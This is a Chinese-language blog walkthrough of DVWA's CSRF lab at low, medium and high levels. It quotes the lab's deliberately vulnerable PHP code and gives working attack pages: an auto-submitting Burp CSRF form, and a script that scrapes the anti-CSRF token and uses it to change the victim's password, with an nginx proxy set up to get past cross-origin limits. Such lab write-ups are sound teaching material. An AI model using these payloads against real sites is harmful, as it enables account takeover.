DVWA-CSRF(跨站请求伪造)

 CSRF (跨站请求伪造)是通过在HTML中伪造恶意链接并隐藏在页面中,诱使用户触发执行。由于用户已经在目标网站上进行了认证,在用户不知情的情况下,获取到用户的身份和特权,再以用户的名义执行一些对用户不利的操作(如转账、盗号等)。

DVWA中分为以下级别:

  --low

  --medium

  --high

  --impossible

 

 

--low级别

服务器端代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

从以上代码看出,在修改密码时,只校验提交的新密码和确认密码一致,就更新当前用户的密码信息,没有进行其他校验。

先看一下修改成功的页面信息:

 复制url的链接,并重新建一个html,在DVWA登录的请求下,访问是不是也能修改成功。

 通过brup suite抓包后,生成一个html页面:

手动创建test_csrf.html文件,然后在浏览器中打开,点击按钮后,修改密码成功。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://192.168.52.132/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="admin" />
      <input type="hidden" name="password&#95;conf" value="admin" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

原因是在同一个浏览器中,如果用户在已完成认证登录的情况下,在其他页面上进行请求时,会自动带入已经认证过的登录信息进行访问,

而服务器端无法区分该请求是否合法,导致用户不清楚的情况下,修改了当前用户的密码。

 

--medium 级别

服务器端代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

medium中,加入了referer校验上一个页面的当前请求来源是否为本服务器。来防范盗链。

通过brup suite抓包后,右键选择Engagement tools  -> Generate CSRF poc ,进行生成新的URL并带入Origin的原信息。

选中Raw中的所有信息,右键选择【Request in browser->In original session】生成新的url

通过该url就可以将密码重新修改为:admin123

 

--high 级别

服务器端代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

 high级别中,加入了token信息,相对而言比较麻烦,每次请求都要带上token信息。

以下内容参考于:https://blog.csdn.net/qq_45751902/article/details/124338151

先抓包看看请求的参数都有哪些?

那么这个token信息是从哪里来的呢?其他就是在/vulnerabilities/csrf/页面中,在获取/vulnerabilities/csrf/页面信息是,后端生成了token信息串,然后存放在页面中,

再次请求时,需要带上token校验当前的请求是否从该页面上发出的。

写一个test.html的静态页面,然后自动请求/vulnerabilities/csrf/页面,再通过正则表达式抓取返回到页面中的token,再重新拼接修改密码的请求链接地址,

再次发送请求。就可以实现CSRF的方式隐形的修改密码。

Test.hmtl 代码如下:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <body>
     测试CSRF 修改密码
    <script>

      var tokenUrl = 'http://192.168.52.133:8081/vulnerabilities/csrf/';
 
      if(window.XMLHttpRequest) {
          xmlhttp = new XMLHttpRequest();
      }else{
          xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
      }
      
      var count = 0;
      
      xmlhttp.withCredentials = true;
      
      xmlhttp.onreadystatechange=function(){
          if(xmlhttp.readyState ==4 && xmlhttp.status==200)
          {
                // 使用正则提取 token
              var text = xmlhttp.responseText;
              var regex = /user_token\' value\=\'(.*?)\' \/\>/;
              var match = text.match(regex);
              var token = match[1];
                // 发起 CSRF 请求 将 token 带入
              var new_url = 'http://192.168.52.133:8081/vulnerabilities/csrf/?user_token='+token+'&password_new=admin123&password_conf=admin123&Change=Change';
              if(count==0){
                  count++;
                  xmlhttp.open("GET",new_url,false);
                  xmlhttp.send();
              }
          }
      };
      xmlhttp.open("GET",tokenUrl,false);
      //重新指定cookie中security级别为high
      xmlhttp.setRequestHeader('Cookie', 'security=high');
      xmlhttp.send();

    </script>
  </body>
</html>

 如果现在直接在浏览器中打开这个页面,是完成请求的,因为会存在跨域的问题。至于什么是跨域就不在这里多做解释。

 要解决跨域问题呢?跨域只存在与浏览器端,简单点说就是浏览器不允许两个不同的源(协议不同、域名不同、端口不同)接口相互调用,其实就是防止像CSRFXXS这类攻击性的访问。

既然跨域只存在浏览器端,那么就在后端做处理,搭建一个nginx环境,并在将上面写好的test.html放到nginx中,在nginx中做代理去请求就可以。

 如果通过yum的形式安装nginx,在/etc/nginx/nginx.conf中进行代理配置。

user  nginx;
worker_processes  auto;

error_log  /var/log/nginx/error.log notice;
pid        /var/run/nginx.pid;


events {
    worker_connections  1024;
}


http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    sendfile        on;
    #tcp_nopush     on;

    keepalive_timeout  65;

    #gzip  on;

    include /etc/nginx/conf.d/*.conf;

    server {
           #监听8081端口
           listen 8081;
           server_name 192.168.52.133;
           index index.html
           root /var/www/html;
           location / {
                # 设置nginx的静态文件存放位置
                root /var/nginx/www/html;
                try_files $uri $uri/ /index.html;
           }
           # 当接口请求中含有192.168.52.133:8081/vulnerabilities 地址信息时,将由代理完成请求。
          location /vulnerabilities {
                proxy_pass http://192.168.52.132:80;
                proxy_set_header Host $host;
                
           }   
    }

}

http 中添加server监听前端请求的信息,如果监听到配置路径http://192.168.52.133:8081/vulnerabilities,则nginx会将域名地址转换为:http://192.168.52.132:80/vulnerabilities/... 并进行接口请求,再完成请求后,将响应信息返回给192.168.52.133:8081进行响应。

Nginx代理配置完成后,登录DVWA,重新打开一个空白页面,直接访问http://192.168.52.133:8081/test.html 就可以完成密码修改。 

 登录132服务器上的dvwa后,在访问133上nginx服务器的test.html页面。

 

 

 

posted @ 2024-02-16 02:03  西夏一品唐  阅读(65)  评论(0编辑  收藏  举报